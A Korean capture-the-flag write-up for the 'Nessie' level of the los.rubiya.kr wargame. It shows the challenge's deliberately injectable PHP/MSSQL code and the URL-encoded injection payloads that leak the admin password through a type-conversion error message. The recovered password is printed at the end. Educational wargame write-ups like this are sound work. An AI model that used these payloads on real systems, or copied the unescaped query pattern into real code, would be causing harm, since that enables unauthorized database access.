웹찢남

Nessie-writeup 본문

WEB_HACKING/los.rubiya.kr

Nessie-writeup

harry595 2020. 1. 30. 21:50


<?php
  
include "./config.php";
  
login_chk();
  
$db mssql_connect();
  if(
preg_match('/master|sys|information|prob|;|waitfor|_/i'$_GET['id'])) exit("No Hack ~_~");
  if(
preg_match('/master|sys|information|prob|;|waitfor|_/i'$_GET['pw'])) exit("No Hack ~_~");
  
$query "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
sqlsrv_query($db,$query);
  if(
sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  
$query "select pw from prob_nessie where id='admin'"
  
$result sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if(
$result['pw'] === $_GET['pw']) solve("nessie"); 
  
highlight_file(__FILE__);
?>

 

드디어 SQLITE가 끝났다!!

근데 MSSQL 이 나왔다ㅎㅎ...

 

if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

if($result['pw'] === $_GET['pw']) solve("nessie"); 

이 두줄을 보고 아 error based blind sql injection 이구나 하고 평소대로 값을 넣어 봤다

 

?id=admin%27%20and%20substring(pw,1,1)=1%20--%20

이렇게 값을 넣어보니 웬걸

 

1을넣어서 그런지 형이 다르다고 나온다!

근데 u??

 

이걸보고 바로 substring(pw,2,1)=1 을해보니 역시나 u가 다른 값으로 바뀐다.

이렇게 하나하나 해보니면 답이 나오겠다 하다가 5번째쯤 값이 숫자인지 본래 페이지가 나왔다.

그래서 뒤를 char형으로 바꿔서 해보려는 순간

query를 바꾸면 전체 pw가 나오지 않을까하고

 

?id=admin%27%20and%20pw=1%20--%20 를 넣어보니!! 역시나 전체 값이 나왔다!!

 

 

?id=admin&pw=uawe0f9ji34fjkl

 

CLEAR!!!

 

(끝나고 찾아보니 MSSQL은 자료형 비교에 대해 엄격하다고 한다!)

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

yeti-writeup  (0) 2020.01.31
revenant-writeup  (0) 2020.01.30
poltergeist-writeup  (0) 2020.01.30
banshee-writeup  (0) 2020.01.30
manticore-writeup  (0) 2020.01.30
Comments